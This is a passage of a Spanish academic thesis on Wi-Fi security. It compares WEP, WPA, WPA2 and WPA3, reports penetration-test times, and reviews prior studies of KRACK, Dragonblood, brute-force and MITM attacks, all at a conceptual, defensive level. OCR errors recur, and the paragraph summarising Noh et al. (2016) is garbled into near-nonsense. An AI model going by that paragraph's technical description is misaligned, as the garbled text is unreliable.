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Resumen

El uso de Internet inalambrico es de uso comun en las empresas y las instituciones
en todo nivel, por lo que es necesario prevenir las amenazas que pueden producir
los ataques informéaticos. La Wi-Fi Alliance ha implementado diversos métodos para
asegurar las redes inalambricas de area local o WLAN (Wireless local area
network), estos son los protocolos de autenticacion para la seguridad de los datos
del usuario como WEP, WPA, WPA2 y WPAS. Los protocolos de seguridad WiFi
pasaron por muchos cambios y mejoras desde los afios 90 para hacerse mas
seguros y eficaces, asi que fueron agregando cambios tanto en su cifrado, y sus
componentes, y se iban agregando actualizaciones para combatir vulnerabilidades
y ataques que han ido surgiendo con los afios. En el presente trabajo se present6
una descripcion general de los protocolos de seguridad WLAN, para analizar y
discutir las versiones, problemas y mejoras; esto con la finalidad de hacer una
comparacion entre estos. Para poder lograr el objetivo de la investigacion se
seleccionaron los protocolos de seguridad existentes para combatir los ataques en
redes inalambricas, se disefid un escenario de pruebas para poder evaluar el
desempeiio de los protocolos, y finalmente, se realizaron pruebas de ataque con el
fin de probar los protocolos de seguridad de red que fueron previamente
seleccionados. Los resultados obtenidos lograron determinar que, el protocolo
WPA3 tuvo mejor desemperio, reflejandose en los tiempos de penetracion de
3.23min con el ataque ARP Spoofing + DNS Spoofing, 4.37min con el ataque Man
in the middle, 23.15min con el ataque de suplantacién de identidad o Phishing, 6min
con el ataque DoS, 15.50min con el ataque de fuerza bruta, y 8.45 min con el ataque
de diccionario a un ssid oculto. Estos tiempos fueron mucho mayores que los
tiempos de penetracion en caso de usarse los protocolos WPA y WPA2. Se
concluye que el protocolo WPAS resulta ser el mas eficiente a la hora de combatir
ataques informaticos, y ademas es necesario aplicar mecanismos de forma
complementaria como el uso de firewalls, VLANS, sistema de deteccién de intrusos,
soluciones de alto nivel como Redes Privadas Virtuales (VPN) y servidores RADIUS
para poder excluir, filtrar y monitorear cualquier cambio inadecuado en la WLAN
para hacer las correcciones inmediatas.

Palabras Clave: Seguridad informatica, Seguridad inalambrica, Redes
inaldmbricas, Ciberataques, WLAN, WPA, WPA2, WPA3.



Abstract

The use of wireless Internet is in common use in companies and institutions at all
levels, so it is necessary to prevent the threats that computer attacks can produce.
The Wi-Fi Alliance has implemented various methods to secure wireless local area
networks or WLAN (Wireless local area network), these are the authentication
protocols for the security of user data such as WEP, WPA, WPA2 and WPA3. WiFi
security protocols went through many changes and improvements since the 90s to
become more secure and efficient, so changes were added to both its encryption
and its components, and updates were added to combat vulnerabilities and attacks
that have emerged. with the years. In the present work a general description of the
WLAN security protocols was presented, to analyze and discuss the versions,
problems and improvements; this in order to make a comparison between them. In
order to achieve the objective of the investigation, the existing security protocols
were selected to combat attacks on wireless networks, a test scenario was designed
to be able to evaluate the performance of the protocols, and finally, attack tests were
carried out in order to test the network security protocols that were previously
selected. The results obtained were able to determine that the WPA3 protocol had
better performance, reflected in the penetration times of 3.23min with the ARP
Spoofing + DNS Spoofing attack, 4.37min with the Man in the middle attack,
23.15min with the spoofing attack. Identity or Phishing, 6 min with the DoS attack,
15.50 min with the brute force attack, and 8.45 min with the dictionary attack on a
hidden ssid. These times were much greater than the penetration times when using
the WPA and WPA2 protocols. It is concluded that the WPA3 protocol turns out to
be the most efficient when it comes to combating computer attacks, and it is also
necessary to apply complementary mechanisms such as the use of firewalls,
VLANS, intrusion detection system, high-level solutions such as Virtual Private
Networks (VPN) and RADIUS servers to be able to exclude, filter and monitor any
inappropriate changes in the WLAN to make immediate corrections.

Keywords: Computer security, Wireless security, Wireless networks, Cyberattacks,
WLAN, WPA, WPA2, WPAS.
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INTRODUCCION

1.1.Realidad Problemaética.

El camino inalambrico a Internet ha pasado a ser parte de la vida cotidiana e
infraestructura de organizaciones y establecimientos de todas las extensiones,
y es bastante comun que las empresas ofrezcan conexion Wi-Fi a sus clientes,

pero ante las amenazas cibernéticas, se requiere cierta prevencion.

Todos los tipos de organizaciones se estan modificando para encarar los
desafios de la economia de las empresas en el mundo globalizado. Las
innovaciones en las empresas dan lugar a nuevos tipos de productividad,
ventajas en la competitividad y crecimiento de los ingresos que incentivan a la
administracion con eficiencia de los recursos de conectividad de una empresa.
Es casi un hecho que mucho de lo que esperan los clientes y empleados en
cuanto a conectividad en la red inaldmbrica en las empresas, sea aun mayor
con el paso del tiempo, exigiendo tener acceso a una red Wi-Fi para obtener
informacion en tiempo real en cualquier momento y en cualquier lugar; lo cual
presenta grandes beneficios a tomar en cuenta, pero a la vez da lugar a

enfrentar desafios, sobre todo en ciberseguridad.

Las empresas que van en progreso son las mas propensas a estar arriesgando
su seguridad, se ha estimado que 62% de los ataques cibernéticos tienen como
objetivo principal las pequeias y medianas empresas, sucediendo alrededor de
4.000 incidentes relacionado diariamente en todo el mundo. Cuando una
empresa se permite una conexion inalambrica de forma abierta tanto para
usuarios, clientes o externos, el rango de vulnerabilidad se amplia en gran
medida, esto debido a que son muchos dispositivos y usuarios los que terminan
teniendo acceso a la red. (Mendez, 2018).

La seguridad informatica es algo en lo que las organizaciones podrian gastar
infinitamente en un intento de mantener alejados a los atacantes. En una
encuesta elaborada a empresas por (CISCO, 2019) se sefiala que el 56 % de
los encuestados ha tenido un problema de seguridad importante en el Gltimo

afo. El 94 % de los encuestados dijo que son conscientes de que hay que seguir
8



avanzando para implementar una seguridad eficaz. Y el 43 % admite que, a
veces, tienen que tomar atajos para lidiar con problemas de seguridad como se

muestra en la siguiente figura.

Ha tenido un importante
Problema de seguridad en

56 CyO el ultimo afio.

Sabe que tienen que
seguir avanzando para
implementar una
seguridad eficaz.

Aveces, tiene que
tomar atajos para
abordar los problemas
de seguridad

43 %

Figura 1: Estado actual de las organizaciones de hoy en dia con respecto a la
seguridad informatica. Fuente: (CISCO, 2019)

De acuerdo a la Encuesta Global de Seguridad de la Informacion 2019-2020 de
Ernst & Young (EY), empresa multinacional para servicios profesionales del
mundo, para asesoramiento en la gestién de la empresa, la cual fue publicada
por (Gestion.pe, 2020), apenas el 27% de empresas en el Peru da cabida a la
ciberseguridad desde el planeamiento de sus nuevas iniciativas; en tanto que
un 51% sefala que la relacién entre la ciberseguridad y la empresa es limitada
o indiferente. Ademas, el 81% expone que la prevencién de crisis y el
cumplimiento siguen siendo los motivos esenciales para aumentar el
presupuesto de seguridad informética. Pese a eso, EY sefiala que, de las
empresas en Perd, el 59% no cuenta con un responsable de ciberseguridad que

haga reportes a la direccion o que se encuentre a nivel de gerencia ejecutiva.
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A: Incluye el &rea de ciberseguridad desde la etapa de planificacion en sus
nuevas iniciativas empresariales.

B: Dice que la relacion entre la ciberseguridad y las lineas de negocio es
inexistente o neutral.

C: Describe el are de ciberseguridad como un habilitador de innovacion.

D: No cuenta con un responsable de ciberseguridad que reporte al directorio.
E: Dice que la prevencion de la crisis y el cumplimiento siguen siendo los
impulsadores principales para aumentar el presupuesto de ciberseguridad.

F: Ha experimentado un incidente significativo realizado por los empleados en
los Ultimos 12 meses.

G: Del presupuesto de ciberseguridad es usado para programas de
transformacion digital.

Figura 2: Encuesta Global de Seguridad de la Informacion 2019-2020 de EY

con respecto a la ciberseguridad. Fuente: (Gestion.pe, 2020)

Pero la seguridad de la red inaldmbrica no es un asunto que solo le compete a
las grandes, medianas o pequefas empresas, sino que todos los que utilicen
una red deben al menos tener cierto conocimiento de las nociones de seguridad
basicos, para no convertirse en el objetivo de los delincuentes informéaticos al
conectarse a una red Wi-Fi, porque cuando se utiliza una red que resulta no ser
segura, podria permitir que cualquier persona con la habilidad suficiente pueda
interceptar del trafico de Internet. (Kaspersky, 2014). Con el problema de

interceptacion de redes, ha pasado a ser un topico de investigacion recurrente
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en los ultimos aflos y mas con el crecimiento acelerado de la poblacion de
usuarios de Wi-Fi. Ademas, se han desarrollado muchos sistemas que detectan
los diversos ataques y previenen las intrusiones en la red inaldmbrica (Jeong,
Chang, & Na, 2008).

En cuanto a las redes inaldmbricas, encontrar un punto de acceso inalambrico
local es solo la mitad del trabajo, a menos que, por supuesto, el punto de acceso
se deje abierto sin cifrado y voluntariamente proporcione una direccion IP a
cualquiera que se conecte. A pesar de eso, parapuntos de acceso
inalambricos debidamente asegurados, aun es posible atacar laimplementacion
de seguridad para determinar las contraseflas seguras que utilizan las
computadoras portétiles autorizadas para conectarse (Street, Nabors, Baskin, &
Carey, 2010).

En consecuencia, se han implementado diversos métodos para asegurar las
redes inalambricas de area local o WLAN (Wireless local area network). WLAN
protocolos de autenticacion para la seguridad de los datos del usuario como
WEP, WPA, WPA2 y WPAS (Kaur, 2017). WEP o Privacidad equivalente por
cable por sus siglas en inglés, fue el primer estandar IEEE 802.11 que vino con
un mecanismo de autenticacion simple. WEP tiene grandes debilidades y fue
vulnerada en 2001. Un atacante puede encontrar la clave de autenticacion de
una red con una computadora portétil de capacidad normal en un promedio de
1 a 2 horas. Para eliminar la debilidad anterior, se desarroll6 un nuevo protocolo
en 2003, llamado Acceso protegido Wi-Fi o WPA. WPA solia eliminar los
problemas del método de criptografia WEP. Un afio después, en 2004 llegé la
segunda version, llamada WPAZ2, para reemplazar el protocolo WPA normal.
WPA2 desarrolld6 un método de codificacion avanzado para respaldar la
seguridad mas solida. Aun asi, WPA2 sufri6 fallas debido al ataque de
reinstalacion de claves o KRACK (Key Reinstallation Attack) en 2017 por
(Vanhoef & Piessens, Key Reinstallation Attacks: Forcing Nonce Reuse in
WPA2, 2017). Este ataque se aprovecha de fallas de disefio o implementacion
en protocolos criptogréaficos para reinstalar una clave que ya esta en uso. Esto

restablece los parametros asociados de la clave, como transmitir nonces y
11



recibir contadores de reproduccién. Para mitigar las vulnerabilidades de WPA2,
la Wi-Fi Alliance dio a conocer el protocolo de seguridad WPAZ3, el cual resulta
mucho mas confiable que su predecesora WPA2 y e incluso que los protocolos

mas antiguos.

Las principales vulnerabilidades de WPA2, como el handshake de cuatro vias
imperfecto y el uso de una PSK (o clave pre-compartida) son cubiertas por
WPA3 dado que posee mejoras de seguridad adicionales que hacen que sea
menos fécil acceder a las redes adivinando las contrasefias (ASUS, 2021).
Pese a esto, el protocolo WPAS3, el cual ya estaba listo para implementarse en
la dltima actualizacion de 802.11, la 802.11ax o Wi-Fi 6, ha ido presentado
algunos problemas en su nuevo sistema Dragonfly para conectar dispositivos,
dichas vulnerabilidades en conjunto han sido llamadas Dragonblood (Vanhoef
& Ronen, 2020). Ante tal escenario la Wi-Fi Alliance se ha pronunciado para
seflalar que WPA3-Personal se encuentra en las primeras etapas de
implementacion y el pequefio niumero de fabricantes de dispositivos afectados
ya ha comenzado a implementar parches para resolver los problemas (Wi-Fi
Alliance®, 2019).

En el presente trabajo se presenta una descripcién general de los protocolos de
seguridad WLAN, explicando la estructura de los protocolos de seguridad
inalambricos para analizar y discutir sus versiones, problemas y mejoras; esto
con la finalidad de hacer una comparacion entre WEP, WPA, WPA2 y WPAS. El
estudio conjunto de dichos protocolos, sobre todo con WPA3 no ha sido tratado
profundamente. La seguridad de las redes inalambricas es muy importante dada
su amplia aplicacion en la actualidad, como instrumentacion médica, equipos
industriales, monitores de seguridad o incluso en oficina, por lo que se espera
gue el presente trabajo permita contribuir con el conocimiento en seguridad
informatica tanto en personas, empresas y universidades, para advertir ataques
e intrusiones de terceros cuyo fin es atentar contra la seguridad de la

informacion.
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1.2.Trabajos previos.

Singh & Sharma (2019) en su investigaciéon denominada “An Overview Of WLAN
Security” de la Universidad de Delhi, presentan una descripcion general de las
amenazas, los remedios y las soluciones de WLAN. Para hacer que la
comunicacion WLAN sea segura, existen varios protocolos estandar como
WEP, WPA y WPA2. Debido a esto, los organismos estandar han propuesto
cuatro soluciones para mejorar la seguridad de la WLAN. Estos son: seguridad
basica, Privacidad equivalente por cable (WEP), Acceso protegido Wi-Fi (WPA)
y |IEEE 802.11i (WPA2), los que utlizan medidas correctivas como
autenticacion, confidencialidad, administracion de claves, control de acceso,
integridad y mejora de la disponibilidad. Ellos sefialan que los avances de WPA2
fueron: uso de protocolo de enlace de 4 vias y cifrado mas fuerte, pero, aun asi,
la reputacién de este Ultimo se vio afectada por ataques DoS y KRACK, y a la
fecha estaban esperando por nueva documentacion del estandar WPA3. Como
alternativa para mitigar dichas vulnerabilidades, los autores citan tres esquemas
de seguridad denominados fast WLAN initial access authentication protocol
(FLAP), Secure Wireless Authentication Scheme (SWAS) y Key Hiding
Communication (KHC). Los resultados muestran que el mecanismo FLAP no
protege contra ataques DoS y, por lo tanto, obstaculiza la disponibilidad. A FLAP
también le preocupan los ataques de repeticion y los atagues MitM y que
también es visible que los esquemas SWAS y KHC protegen contra la mayoria
de los ataques y también son efectivos contra los ataques DoS. Por lo tanto,
SWAS y KHC brindan cierta esperanza contra los ataques DoS, que son las
principales preocupaciones en WPA2. Los autores esperan que WPA2 se siga
utilizando en los dispositivos existentes, mientras que los nuevos dispositivos
desarrollados seguiran la compatibilidad con las nuevas versiones de WPA. Por
lo tanto, actualmente los investigadores propones tres vias principales en el
dominio de la seguridad WLAN: fortalecer el estandar WPA2, desarrollar un
nuevo mecanismo de autenticacién de entidades y control de acceso y, analizar

y fortalecer el préximo estandar WPAS.
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Guo, Wang, Zhang, & Zhang (2020), realizaron una propuesta denominada A
Secure Session Key Negotiation Scheme in WPA2-PSK Networks, en Sell,
capital de Corea del Sur. La clave pre-compartida Wi-Fi Protected Access Il
(WPA2-PSK) es una forma activa de seguridad inalambrica en redes publicas
de Wi-Fi. Funciona con una frase de contrasefa pre-configurada compartida con
todas las estaciones en la misma red Wi-Fi. Las redes WPA2-PSK pueden
autenticar estaciones externas, sin embargo, no garantizan la comunicacion
confidencial si los atacantes internos poseen la contrasefia en la red, ya que
todas las estaciones derivan su PTK utilizando la misma contrasefia. Para evitar
que las estaciones internas escuchen el PTK, se propone un esquema de
negociacion de clave de sesion segura en redes WPA2-PSK (SSKNS). Se
introduce una clave de sesion temporal (TSK), que se cifra mediante criptografia
de curva eliptica (ECC) y se intercambia de forma segura entre la estacion y el
AP en el proceso de asociacion Wi-Fi. A través del algoritmo AES con TSK, la
estacion encripta su propio nonce (un nimero arbitrario que se puede usar solo
una vez en una comunicacion criptogréafica) usado para generar el PTK Unico
en el proceso de 4 vias. La propuesta evalla principalmente la sobrecarga de
tiempo, en comparacion con los existentes WPA2-PSK y SAHS, por lo tanto, en
el esquema propuesto se mide el tiempo de generacion de claves relacionado
con el algoritmo ECC de forma independiente y el retraso en la comunicacioén,
incluida la transmision de datos, el cifrado y descifrado ECC y AES. Los
resultados indican que WPA2-PSK 'y SAHS, SSKNS tienen casi el mismo tiempo
de transmision DTx2 (aproximadamente 1200 us). En el cifrado y descifrado con
algoritmo AES256, observamos que SAHS y SSKNS necesitan
aproximadamente 189us (4DAESEnc + 4DAESDec) y 46us (DAESEnc +
DAESDec) respectivamente. El resultado indica que SSKNS causa menos
sobrecarga de tiempo que SAHS y un poco mas que WPA2-PSK. Esto se debe
al cifrado y descifrado selectivo solo para un mensaje en SSKNS, en lugar de
cuatro mensajes, lo que provoca una proteccion excesiva en SAHS. Los andlisis
y experimentos de seguridad muestran que SSKNS puede proporcionar de
manera efectiva un nivel de seguridad a un costo aceptable, en comparacion

con los esquemas existentes.
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Noh, Kim, Kwon, & Cho (2016), elaboraron un trabajo denominado Secure key
exchange scheme for WPA/WPA2-PSK using public key cryptography, en Sedl,
Corea del Sur. Este articulo propone el esquema de intercambio seguro de
claves para aplicar una criptografia de clave publica. Usando el sistema de clave
publica, un apeadero y un lugar de umbralado intercambian una fundamental
secundaria que el usuario selecciona. Esta clave se utiliza para la suscitacion
de claves por pares. Mediante el extracto propuesto, la red puede defender a
los usuarios de varios ataques en la misma red Wi-Fi. El procedimiento es el
siguiente: un Access Point (AP) difunde frecuentemente una trama que incluye
informacion sobre la red correspondiente, o que sigue son dos pasos que son
los mismos que los de la solicitud de sondeo original y los mensajes de
respuesta. Luego cuando una estacion solicita autenticacion, la estacion envia
una clave secundaria y una frase de contrasefia al AP. Este mensaje esta
encriptado usando la clave publica de AP. La clave secundaria se utilizara para
un solo usuario. Después, el AP descifra el cuarto mensaje usando su clave
privada. EI AP comprueba una frase de contrasefia. Si es correcto, envia un
mensaje de respuesta que estd encriptado por claves privadas y secundarias.
Una vez que la estacion recibe el botellin informe, intenta resolver el texto
usando dos teclas. Al dilucidar el informe, la estacién puede aprender que la
estratégica secundaria se intercambid con éxito y este texto es representante
por el AP. finalmente, después de la autenticacion, la estacién y el AP realizan
el expediente de congregacion en normal con el memorial real. Y mientras,
finaliza todo el memorial de limite. Al proteger el estudio de tréafico, los usuarios
estan a indemne de ataques adicionales, como autenticacion falsa y ataque de

recuperacion de claves.

Lamers, Dijksman, van der Vegt, Sarode, & de Laat (2021) presentaron su
investigacion denominada “Securing Home Wi-Fi with WPA3 Personal” en Las
Vegas, NV, USA. El protocolo WPA3 se convirtid en una parte obligatoria de la
certificacion Wi-Fi el 1 de julio de 2020, por lo que se espera, se espera que la
tasa de adopcion de dicho protocolo se tome en consideracion en estos ultimos
afos. En la investigacion se estudia si es posible proteger una red protegida con

WPAZ3 de tal manera que los ataques de degradaciéon no sean factibles, puesto
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que incluso con las recomendaciones de seguridad que la Wi-Fi Alliance emitid
recientemente para WPAS3, las implementaciones comunes que se ejecutan en
modo de transicion aun se pueden degradar a WPAZ2. Para identificar ain mas
los problemas con las implementaciones actuales de WPA3, se llevaron a cabo
cuatro experimentos que son: Comportamiento de conexién automética de las
estaciones, Seleccion de estacion BSS, ataque de degradaciéon y ataque de
denegacion de servicios. Los resultados muestran que aun se pueden degradar
varias estaciones en las redes WPA3. Todas las degradaciones en los
experimentos se lograron utilizando hardware de consumo de diez afios de
antigiiedad sin software especial o propietario y con poca dificultad inherente
para realizar. Cabe resaltar que los resultados de este experimento son
comparables para los dos AP que se utilizaron y, por lo tanto, el analisis de los
resultados se centra en las estaciones. Dentro de los resultados, también se
observan muchas opciones para mejorar y ampliar WPA3. Sin embargo,
también es necesario preguntarse cual de estas opciones traera la mejora mas
significativa en términos de seguridad ademas de ser facil de usar. Como ya se
vio con otros estandares y adiciones de Wi-Fi, la adopcion requiere un cambio
en el transcurso del tiempo. Por lo tanto, las adiciones deben estar preparadas
para el futuro o corren el riesgo de quedar obsoletas antes de que se adopten

ampliamente.

Vanhoef & Ronen (2020), publicaron el articulo “Dragonblood: Analyzing the
Dragonfly Handshake of WPA3 and EAP-pwd” en San Francisco, Estados
Unidos. La certificacion WPA3 tiene como objetivo proteger las redes
inalambricas Wi-Fi y utiliza el handshake Dragonfly para proporcionar un sigilo
y resistencia a los ataques del diccionario. En este documento, evaluamos
sistematicamente la seguridad de Dragonfly. Primero, se auditaron las
implementaciones y se presentaron pérdidas de tiempo y omisiones de
autenticacion en WPA3 para luego estudiar el disefio de Dragonfly y analizar los
ataques de degradacion y denegacion de servicio. Los principales resultados
son los ataques de canal lateral contra el método de codificacion de contrasefias
de Dragonfly (por ejemplo, hash a curva), ya inherentes a Dragonfly. También

se analizé la complejidad de usar la informaciéon filtrada para forzar la
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contrasefia, esto por ser de interés general debido a los esfuerzos de
estandarizacion en curso en Dragonfly como un protocolo de enlace TLS,
intercambios de claves autenticados con contrasefia (PAKES) y hash a curva.
Finalmente, se discuti6 sobre las defensas compatibles con versiones anteriores

y se proponen correcciones de protocolo que evitan los ataques.

Moissinac, Ramos, Rendon, & Elleithy (2021) presentaron el documento
denominado “Wireless Encryption and WPA2 Weaknesses” en Nevada, Estados
Unidos. El cifrado prevalece en muchas formas de comunicaciones modernas,
y dado su avance en la seguridad de las comunicaciones inaldmbricas, esto
deberia tener mas importancia, ya que cualquier dispositivo puede interceptar
facilmente los datos en su rango. Este documento se enfoc6 especificamente
en la comunicacion inaldmbrica IEEE 802.11 y la evolucién de sus protocolos
de encriptacion desde WEP hasta el actual WPA3 para identificar las
debilidades actuales y los métodos de mejora. Existen mecanismos para ofrecer
una mejor proteccion para las comunicaciones de red inalambrica, como
servidores RADIUS, certificados y nuevos enfoques de intercambio de WPAS.
Sin embargo, algunas de estas soluciones no solo implican una sobrecarga de
recursos, sino que también se han descubierto vulnerabilidades en el WPA2 e
incluso en los protocolos WPA3 mas nuevos. Por lo tanto, este documento
incluye los algoritmos de criptografia seleccionados y los gastos generales
necesarios para implementarlos, como recursos computacionales, certificados
y requisitos de servidor externo. Se concluye también que el cifrado de nivel
empresarial a mas dispositivos en el hogar y en entornos de pequefias
empresas. La solucion aprovecha los protocolos existentes y los aplica de
manera creativa para realizar esfuerzos de desarrollo nominales e imponer solo

una minima sobrecarga.

Fehér & Sandor (2018) presentaron su proyecto denominado “Effects of the
WPA2 KRACK Attack in Real Environment” en Subotica, Serbia. El protocolo
Wi-Fi mas utilizado en el mundo, el WPA2, contenia una vulnerabilidad y varios
problemas descubiertos y publicados por investigadores de ciberseguridad en

los ultimos afios y esto afecté al mundo de las tecnologias de la informacién y
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se pueden esperar mas cambios. Este articulo examina los detalles y los efectos
de este cambio junto con el comportamiento del usuario para lo cual se
desarroll6 una investigacion de encuestas cuantitativas para recopilar mas
informacion sobre el comportamiento de los usuarios promedio, la conciencia
de seguridad y para identificar los grupos de usuarios comprometidos. Segun la
encuesta, el 87,3% de los encuestados tiene Wi-Fi en su hogar. La encuesta fue
completada por 379 personas y ampliamente distribuida para obtener resultados
mas variados, por lo que no se pudo separar a las personas vulnerables de las
no vulnerables, pero se logran ver los dos extremos de la escala. Con base en
la informacion recopilada, se puede declarar que los problemas generalmente
se estan acumulando. El principal problema en esta situacion es el elevado
namero de usuarios afectados. Los usuarios mas experimentados ya han
actualizado el firmware de sus routers y dispositivos Wi-Fi para evitar este tipo
de problemas, pero la mayoria de los propietarios de dispositivos son usuarios
finales medios. Este problema consta de varios elementos consistentes, como
una contrasefia demasiado débil y demasiado corta. La contrasefia encriptada
adquirida se puede descifrar facilmente si la contrasefia es débil; ademas, la
capacidad informatica crece afio tras afio. Del estudio se desprende también
que 108 personas, el 29% de los usuarios examinados, tienen una contrasefa
de 8 caracteres en su Wi-Fi. La mayoria de las contrasefias contienen
mayusculas y numeros junto a las minusculas, lo que significa que una
computadora promedio tardaria aproximadamente 2 horas en descifrar estas
contrasefas con un simple ataque de fuerza bruta. El estudio concluye diciendo
gue hasta la publicacion de WPA3 vy la difusién del nuevo protocolo, la mejor
solucion para mitigar el riesgo de la nueva vulnerabilidad es parchear el firmware
de los dispositivos afectados. Lamentablemente, los dispositivos mas antiguos
no son compatibles con el fabricante, la mayoria de ellos son vulnerables, por
lo que es necesario reemplazarlos. La parte mas dificil en esta situacion es
llegar a los usuarios promedio y motivarlos para que actualicen o reemplacen
sus dispositivos o utilicen mitigaciones basadas en software. Algunos
proveedores de servicios de Internet ofrecen dispositivos de red Wi-Fi con su
suscripcién y pueden administrar sus dispositivos conocidos para manejar las

vulnerabilidades de seguridad mas altas. El elemento esencial mas critico es la
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conciencia del usuario y el conocimiento del usuario porque el mercado esta

lleno de diferentes dispositivos no compatibles sin la actualizacién automatica.

Castillo-Velazquez, Alcala, & Serrano (2019) presentaron su trabajo llamado
“Hardening as a best practice for WLAN Security Meanwhile WPA3 is released”
en Guatemala, Guatemala. Desde 2004 hasta hoy es comun usar WPA2 que
reemplazé al WPA ya desfasado en la seguridad de WLAN. WPA ya habia
desplazado a WEP en 2003, debido a que este primer protocolo de seguridad
se rompio. El problema de seguridad de la WLAN es que WPA2 fue vulnerado
en 2017, pero aun WPA3 estad en desarrollo, mientras que la gente busca
seguridad en su WLAN. Este trabajo ofrece recomendaciones comprobadas
cuando se aplica el hardening basado en un analisis para un escenario de
prueba. La metodologia para la identificacion de vulnerabilidades cont6 con tres
elementos: a) el disefio de un escenario de prueba utilizando un BSS (Basic
Service Set); b) instalar una maquina virtual con Kali Linux y una tarjeta Wi-Fi
(IEEE 802.11 b/ g/ n) a 2.4 GHz llegando a 50 m, y una antena de 5 dBi;
atacando para WEP, WPA y WPA2 usando las herramientas suite air y hostapd-
wep. Luego, después de detectar vulnerabilidades, se procede a implementar el
hardening. Los resultados muestran que la seguridad de la WLAN se fortalece
al implementar el hardening y ademas se confirmé que WEP era el mas facil de
atacar, gastando menos tiempo y esfuerzo, después de WPA y después de
WAP2, ya que el tiempo de convergencia esta en funcion de los diccionarios.
Como se demostro, es posible y se recomienda utilizar la seguridad empresarial
WPAZ2, incluido tal vez Raspberry como servidor de autenticacion. El hardening
fue muy util pero a la hora de implementar caracteristicas de AP deben ser
consideradas, debido a que algunas marcas o modelos de AP no dejan cambiar

todas las caracteristicas que requerimos para realizar un hardening completo.

Liu (2015), presento su trabajo denominado Defense of WPA/WPA2-PSK Brute
Forcer en Shanghai, China. Con la aparicion de la fuerza bruta WPA / WPA-
PSK de alta velocidad, la seguridad de la WLAN se enfrenta a graves amenazas.
Los atacantes pueden adquirir PSK facilmente para descifrar todos los tréaficos.

Para solucionar este problema, se proponen una serie de esquemas de defensa,
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que incluyen esquemas de defensa para fuerza bruta pasiva y activa. Los
esquemas adoptan bloqueadores activos e inyeccion de paquetes inaldmbricos.
Y luego se procesa el analisis tedrico y se dan los métodos de implementacion.
La clave para descifrar con éxito es la adquisicion de mensajes de protocolo de
enlace de 4 vias. Por lo tanto, la defensa de la fuerza bruta WPA / WPA2-PSK
es interferir o evitar la adquisicién de mensajes 4-Way handshake. Como la alta
velocidad de craqueo de la fuerza bruta existente, una vez que el atacante
adquiere los mensajes de protocolo de enlace y el ciclo de actualizacion de PSK
es grande, la probabilidad de éxito del craqueo es alta. Para simplificar la
discusion, se supondré que el PSK no se cambia cuando el Access Point esté
online. Por lo tanto, la probabilidad de éxito del craqueo es igual a la probabilidad
de adquisicibn de mensajes de reconocimiento correctos, particularmente la
tasa de mensajes de reconocimiento correctos en los mensajes capturados. Si
el esquema de defensa puede reducir la probabilidad de adquisicién o no, son

los criterios de verificacion del esquema de defensa.

Onno, Gelloz, Heen, & Neumann (2012), elaboraron un estudio denominado
User-based authentication for wireless home networks en Berlin, Alemania. Este
estudio sefiala que la totalidad de las redes domésticas inalambricas aplican un
tépico de autenticacién de clave compartida para autenticar dispositivos. Esto
da como consecuencia debilidades de seguridad por obra del protocolo
inalambrico en si y las condiciones del ambiente doméstico. M&s alld de los
aspectos de seguridad, existen algunas ventajas para proporcionar una
autenticacion basada en el usuario para controlar mejor quién accede a la red
en lugar de qué dispositivo accede a la red. Los esquemas de autenticacion
basados en usuarios también facilitan la elaboracion de perfiles de usuarios, lo
cual es util para aprovechar mas servicios de recomendacion. Este documento
describe una solucién basada en WPA2-802.1X para mitigar las debilidades
mencionadas anteriormente mientras se habilita una autenticacion basada en el
usuario en el hogar. La solucion consiste en implementar mecanismos
adicionales en una puerta de enlace de red doméstica existente, de la siguiente
manera. Se usa un SSID (Service Set Identifier) inalambrico dedicado que

proporciona la configuracion de red correcta y el certificado necesario.
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Incorporamos un servidor de autenticacion FreeRadius dentro de la puerta de
enlace. Este servidor de autenticacion implementa un método de autenticacion
PEAPVO / EAP-MSCHAPV2 que permite una autenticacion mutua basada en el
certificado del servidor y las credenciales de nombre de usuario / contrasefia del
cliente. Presenta su certificado de servidor de autenticacidn a los clientes que
deseen autenticar el servidor. Un portal web cautivo redirige a los usuarios no
registrados y, a su vez, propone al usuario que ejecute un subprograma. Esta
solucion debe Facilitar interfaces sencillas de usar y garantizar un equilibrio
entre seguridad y usabilidad, especialmente para tareas administrativas.
Ademas, el modelo basado en 802.1X también es compatible con redes

cableadas.

Taha & Shen (2012), plantearon un estudio llamado A link-layer authentication
and key agreement scheme for mobile public hotspots in NEMO based VANET,
en Anaheim, California. En este documento, basado en la criptografia de clave
publica sin certificado, se propone un esquema de acuerdo de clave y
autenticacion de capa de enlace, CL-AKA. CL-AKA logra la autenticacidon mutua
entre un MNN y un enrutador movil (MR) y crea una clave compartida segura
entre ellos. A diferencia de los esquemas de seguridad Wi-Fi existentes, CL-
AKA usa solo una verificacion de certificado para verificar un MR en un MNN
mientras verifica implicitamente este MNN en el MR. Por lo tanto, el esquema
CL-AKA propuesto tiene un 23,76% menos de sobrecarga de célculo que el del
protocolo WPA2 basado en EAP, menos sobrecarga de comunicacion que el
del portal cautivo y un nivel de seguridad mas alto que el del esquema de
autenticacion ficticia. Ademas, las evaluaciones de desempefio demuestran que
CL-AKA consume poca energia, lo que lo hace méas apropiado para implementar
en dispositivos portatiles de menor consumo de energia, como PDA (Asistente

Digital Personal) y teléfonos celulares.

Kumar, Chakraborty, Barbhuiya, & Nandi (2016), plantean un trabajo
denominado Detection of Stealth Man-In-The-Middle Attack in Wireless LAN en
Solan, India. Las redes de area local inalambricas abstractas (WLAN) estan

alcanzando un lugar en todas las verticales de la vida. Las WLAN se han
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acostumbrado a cambios r4pidos con respecto a sus estdndares de seguridad
en un tiempo corto. El atague Man in-the-Middle (MITM) es uno de los ataques
mas desastroso en WLAN. El ataque Stealth MITM (SMITM) es una nueva forma
de hacer MITM basada en la intoxicacion del Protocolo de resolucion de
direcciones (ARP). En este ataque, el envenenamiento ARP se realiza
directamente a la victima mediante la falsificacion de la estructura del protocolo
de respuesta del marco ARP vy la explotacion de la administracion de claves
WPAZ2. En este articulo se propone un Sistema Inalambrico de Deteccién de
Intrusiones (WIDS) para ataque SMITM. El WIDS propuesto detecta con éxito
el ataque SMITM vy otros ataques similares como MITM (usando
envenenamiento ARP) y IP Spoofing. El sistema se simula para dos escenarios
diferentes. Uno es el escenario normal y el segundo es el escenario de ataque.
En un escenario normal, BLTabie permanece vacio ya que no hay ningun
atacante. El segundo escenario es el escenario de ataque. El atacante sigue
escuchando en su interfaz en modo promiscuo una solicitud ARP de la victima-
1 a la victima-2. Tan pronto como lo recibe, envia una respuesta ARP falsa. El
nodo sensor en el rango del nodo atacante captura esta respuesta ARP del
atacante y envia una solicitud de sondeo al AP con la IP-MAC de origen de la
respuesta ARP. Al recibir la solicitud de sondeo, el AP transmite una solicitud
